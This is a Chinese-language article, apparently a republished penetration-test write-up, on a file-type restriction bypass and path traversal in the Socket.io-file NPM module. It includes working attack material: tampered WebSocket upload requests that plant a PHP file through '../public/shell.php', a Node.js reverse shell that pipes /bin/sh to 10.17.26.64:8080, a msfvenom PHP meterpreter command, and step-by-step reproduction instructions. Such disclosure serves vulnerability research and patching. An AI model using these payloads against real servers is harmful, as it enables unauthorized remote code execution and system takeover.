您好,登錄后才能下訂單哦!
如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
在一次滲透測試過程中,我們所面對的應用程序安全系數比較高,沒有存在太多的錯誤配置,因此簡單分析并沒有發現安全問題。但是深入分析后,我們發現了一個運行在嵌入式設備上的Web應用程序。這個Web應用程序使用了WebSocket來實現服務器和客戶端之間的通信,為了使用WebSocket,后端系統可以選擇的技術有很多種,而這里使用的是Socket.io。
這個應用程序的主要功能之一就是文件上傳,這也是它選擇使用Socket.io-file NPM模塊的原因。總而言之,這里存在一個路徑遍歷漏洞,將允許我們上傳文件到任意系統路徑中,并讓Web服務器運行該文件。
如果我們可以修改ssh_config、/etc/passwd或/etc/shadow文件的話,那么這個漏洞就相當于是一個遠程代碼執行漏洞了,但這只能通過root權限來實現,因此我們需要想辦法利用低權限用戶來實現遠程代碼執行。
通過研究之后,我們在Socket.io-file模塊中找到了一個文件類型限制繞過漏洞。在該漏洞的幫助下,我們可以繞過模塊配置文件中的文件類型限制。這樣一來,我們就可以上傳任意文件類型,然后通過修改底層配置文件來上傳適當的Shell,以實現底層系統的遠程代碼執行。
除此之外,Socket.io-file的上傳功能也存在對輸入數據處理和驗證邏輯不正確的問題,這些分布在代碼的各個地方。而攻擊者將能夠利用該問題繞過上傳文件類型的限制,將所選的文件類型上傳到底層系統中。
Socket.io-file的默認配置下,提供了一個由WebSocket處理的上傳功能。當用戶嘗試通過Web應用程序上傳一個文件時,將會創建下列客戶端請求以實現文件創建:
42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]
為了在底層系統創建該文件,Socket.io-file的index.js代碼將會被執行,下列代碼將會檢測文件的類型并執行后續操作:
let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', ')); return sendError(err); } else { self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj); } } else { self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);
比如說,如果用戶上傳了一個名為“testfile.mp3”的文件,那么應用程序將創建一個新的.mp3文件,由于錢買你的代碼只會在客戶端進行檢測(WebSocket請求創建之前),那么我們就可以攔截上傳請求,并以應用程序修改文件名的方式來修改創建文件的文件類型。下面給出的是漏洞利用樣例:
42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]
為了繞過客戶端限制,我們還需要將原始文件的文件類型修改問Web應用程序允許的文件類型。攔截請求之后,我們需要將文件類型修改為原始類型(.php),這樣服務器端就不會進行檢測了。接下來,我們就可以在底層系統創建一個.php文件了,這樣也就實現了文件類型檢測繞過。
除此之外,我們還可以結合路徑遍歷漏洞來執行攻擊,我們繼續往下看。
既然我們可以向任意服務器目錄上傳任意文件,那么我們就可以在特定配置下,在底層系統實現遠程代碼執行了。
首先,我們可以修改配置文件,向Web服務器中添加惡意JavaScript代碼庫,然后修改index.html來加載惡意js腳本,即添加一個<script>標簽來引入js文件,或直接把js代碼拷貝進去。
接下來,我們就可以上傳一個js文件(服務器將會在index.html文件中加載該腳本),該文件中包含的代碼如下:
(function(){ var net = require(“net”), cp = require(“child_process”), sh = cp.spawn(“/bin/sh”, []); var client = new net.Socket(); client.connect(8080, “10.17.26.64”, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })();
需要注意的是,這個反向Shell只能在包含錯誤配置的Node.js環境中執行。通過修改監聽器的IP地址和端口號,我們就可以獲取到反向Shell了,并在底層系統實現命令執行。
我們存在漏洞的模塊中包含了大量不同的配置項,其中一個就是允許node.js服務器運行PHP。當然了,現在也有很多多用途服務器支持這種功能,而這種漏洞利用起來也相對簡單。
我們可以使用msfvenom創建一個PHP反向Shell,然后執行下列命令:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3
該命令將創建一個php文件,當服務器執行該文件時,便能夠給我們提供一個反向Shell。此時,結合之前的漏洞上傳文件,我們需要修改上傳WebSocket請求:
42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
該命令將把我們的文件上傳至服務器端的公共文件夾,使用瀏覽器進入該目錄,我們就可以執行PHP Shell,并在我們的攻擊設備上獲取到反向Shell了:
為了復現該漏洞,我們需要執行下列操作:
設置一個代理來攔截HTTP和WebSocket請求;
創建一個Web應用程序允許的文件類型;
使用io-file上傳一個文件,并攔截WebSocket請求;
根據文件類型修改請求中的“name”參數值:
42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
上述命令將會在當前用戶的date目錄中創建一個testfile.php文件,我們的測試服務器存儲文件路徑為/home/ubuntutest/Documents/socket-app/data。
關于如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。